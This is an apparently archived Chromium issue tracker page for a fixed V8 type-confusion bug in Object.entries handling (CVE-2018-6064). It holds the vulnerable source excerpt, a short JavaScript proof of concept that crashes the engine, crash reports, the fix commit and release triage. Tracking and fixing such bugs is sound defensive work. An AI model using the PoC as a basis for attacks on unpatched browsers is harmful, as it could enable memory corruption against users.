New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 4 users

Issue metadata

Status: Fixed
Owner:
Closed: Jan 2018
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux , Android , Windows , Chrome , Mac , Fuchsia
Pri: 1
Type: Bug-Security


Show other hotlists

Hotlists containing this issue:
Hotlist-1


Sign in to add a comment

Security: V8: Type confusion in ElementsAccessorBase::CollectValuesOrEntriesImpl

Project Member Reported by lokihardt@google.com, Jan 3 2018

Issue description

Here's a snippet of the method.
https://cs.chromium.org/chromium/src/v8/src/elements.cc?rcl=3cbf26e8a21aa76703d2c3c51adb9c96119500da&l=1051

  static Maybe<bool> CollectValuesOrEntriesImpl(
      Isolate* isolate, Handle<JSObject> object,
      Handle<FixedArray> values_or_entries, bool get_entries, int* nof_items,
      PropertyFilter filter) {
      ...
    for (int i = 0; i < keys->length(); ++i) {
      Handle<Object> key(keys->get(i), isolate);
      Handle<Object> value;
      uint32_t index;
      if (!key->ToUint32(&index)) continue;
      uint32_t entry = Subclass::GetEntryForIndexImpl(
          isolate, *object, object->elements(), index, filter);
      if (entry == kMaxUInt32) continue;

      PropertyDetails details = Subclass::GetDetailsImpl(*object, entry);

      if (details.kind() == kData) {
        value = Subclass::GetImpl(isolate, object->elements(), entry);
      } else {
        LookupIterator it(isolate, object, index, LookupIterator::OWN);
        ASSIGN_RETURN_ON_EXCEPTION_VALUE(
            isolate, value, Object::GetProperty(&it), Nothing<bool>()); <<------- (a)
      }
      if (get_entries) {
        value = MakeEntryPair(isolate, index, value);
      }
      values_or_entries->set(count++, *value);
    }

    *nof_items = count;
    return Just(true);
  }

At (a), the elements kind can be changed by getters. This will lead to type confusion in GetEntryForIndexImpl.

PoC:
let arr = [];
arr[1000] = 0x1234;

arr.__defineGetter__(256, function () {
    delete arr[256];

    arr.unshift(1.1);
    arr.length = 0;
});

Object.entries(arr).toString();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
 
Project Member

Comment 1 by ClusterFuzz, Jan 3 2018

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=6278563010707456.
Components: Blink>JavaScript
Labels: Security_Impact-Stable OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Mac OS-Windows
Status: Available (was: Unconfirmed)
Cc: ishell@chromium.org bmeu...@chromium.org verwa...@chromium.org
Components: -Blink>JavaScript Blink>JavaScript>Runtime
Project Member

Comment 4 by sheriffbot@chromium.org, Jan 3 2018

Labels: M-63
Project Member

Comment 5 by ClusterFuzz, Jan 3 2018

Labels: -Security_Impact-Stable Security_Impact-Beta
Detailed report: https://clusterfuzz.com/testcase?key=6278563010707456

Job Type: linux_asan_chrome_mp
Crash Type: UNKNOWN READ
Crash Address: 0x7eb6b75272e0
Crash State:
  v8::internal::HashTable<v8::internal::NumberDictionary, v8::internal::NumberDict
  v8::internal::ElementsAccessorBase<v8::internal::DictionaryElementsAccessor, v8:
  v8::internal::FastGetOwnValuesOrEntries
  
Sanitizer: address (ASAN)

Recommended Security Severity: Medium

Regressed: https://clusterfuzz.com/revisions?job=linux_asan_chrome_mp&range=481254:481399

Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=6278563010707456

See https://github.com/google/clusterfuzz-tools for more information.

The recommended severity is different from what was assigned to the bug. Please double check the accuracy of the assigned severity.

Project Member

Comment 6 by sheriffbot@chromium.org, Jan 4 2018

Labels: -Security_Impact-Beta Security_Impact-Stable
Owner: cbruni@chromium.org
Status: Assigned (was: Available)
Reproduces nicely. Camillo, I think you are familiar with this code. Would you be willing to take a look?
SGTM
Project Member

Comment 9 by bugdroid1@chromium.org, Jan 10 2018

The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/be9c5fd982f53c937351eeca55ce668a101792b6

commit be9c5fd982f53c937351eeca55ce668a101792b6
Author: Camillo Bruni <cbruni@chromium.org>
Date: Wed Jan 10 13:50:20 2018

[elements] Fix Object.entries/values with changing elements

Drive-by-cleanup:
- Add InternalElementsAccessor to expose protected instance methods
  to ElementsAccessor subclasses.
- Make some more ElementsAccessor methods protected that take the
  raw entry as parameter.

Bug:  chromium:798644 
Change-Id: Iffd00f1953461e8dd22c123e62298410fb6e049c
Reviewed-on: https://chromium-review.googlesource.com/856816
Commit-Queue: Camillo Bruni <cbruni@chromium.org>
Reviewed-by: Jakob Kummerow <jkummerow@chromium.org>
Cr-Commit-Position: refs/heads/master@{#50480}
[modify] https://crrev.com/be9c5fd982f53c937351eeca55ce668a101792b6/src/elements.cc
[modify] https://crrev.com/be9c5fd982f53c937351eeca55ce668a101792b6/src/elements.h
[modify] https://crrev.com/be9c5fd982f53c937351eeca55ce668a101792b6/test/mjsunit/es8/object-entries.js
[add] https://crrev.com/be9c5fd982f53c937351eeca55ce668a101792b6/test/mjsunit/regress/regress-crbug-798644.js

Project Member

Comment 10 by ClusterFuzz, Jan 11 2018

ClusterFuzz has detected this issue as fixed in range 528379:528380.

Detailed report: https://clusterfuzz.com/testcase?key=6278563010707456

Job Type: linux_asan_chrome_mp
Crash Type: UNKNOWN READ
Crash Address: 0x7eb6b75272e0
Crash State:
  v8::internal::HashTable<v8::internal::NumberDictionary, v8::internal::NumberDict
  v8::internal::ElementsAccessorBase<v8::internal::DictionaryElementsAccessor, v8:
  v8::internal::FastGetOwnValuesOrEntries
  
Sanitizer: address (ASAN)

Recommended Security Severity: Medium

Regressed: https://clusterfuzz.com/revisions?job=linux_asan_chrome_mp&range=481254:481399
Fixed: https://clusterfuzz.com/revisions?job=linux_asan_chrome_mp&range=528379:528380

Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=6278563010707456

See https://github.com/google/clusterfuzz-tools for more information.

If you suspect that the result above is incorrect, try re-doing that job on the test case report page.
Project Member

Comment 11 by ClusterFuzz, Jan 11 2018

Labels: ClusterFuzz-Verified
Status: Verified (was: Assigned)
ClusterFuzz testcase 6278563010707456 is verified as fixed, so closing issue as verified.

If this is incorrect, please add ClusterFuzz-Wrong label and re-open the issue.
Project Member

Comment 12 by sheriffbot@chromium.org, Jan 11 2018

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Labels: -M-63 M-65
Project Member

Comment 14 by sheriffbot@chromium.org, Feb 8

Labels: Merge-Request-65
Project Member

Comment 15 by sheriffbot@chromium.org, Feb 9

Labels: -Merge-Request-65 Merge-Review-65 Hotlist-Merge-Review
This bug requires manual review: M65 has already been promoted to the beta branch, so this requires manual review
Please contact the milestone owner if you have questions.
Owners: cmasso@(Android), cmasso@(iOS), bhthompson@(ChromeOS), govind@(Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Cc: awhalley@chromium.org
[Bulk Edit]

+awhalley@ (Security TPM) for M65 merge review
govind@ - good for 65
Labels: -Merge-Review-65 Merge-Approved-65
Approving merge to M65 branch 3325 based on comment #17. Please merge ASAP so we can pick it up for next week Beta release. Thank you.
Labels: -Merge-Approved-65 M-64 Merge-Request-64
Status: Fixed (was: Verified)
This CL has landed in M65.0.3318.0 already, not sure though if we want to backmerge to M64 if we'd do a respin?
Labels: -Merge-Request-64 Merge-Rejected-64
Since this has been present in M63, let's target this for M65. M64 is already rolling out. If you disagree, please let me know. 
Labels: Release-0-M65
Labels: CVE-2018-6064
Project Member

Comment 23 by sheriffbot@chromium.org, Mar 27

Labels: -M-64
Project Member

Comment 24 by sheriffbot@chromium.org, Apr 19

Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: CVE_description-missing

Sign in to add a comment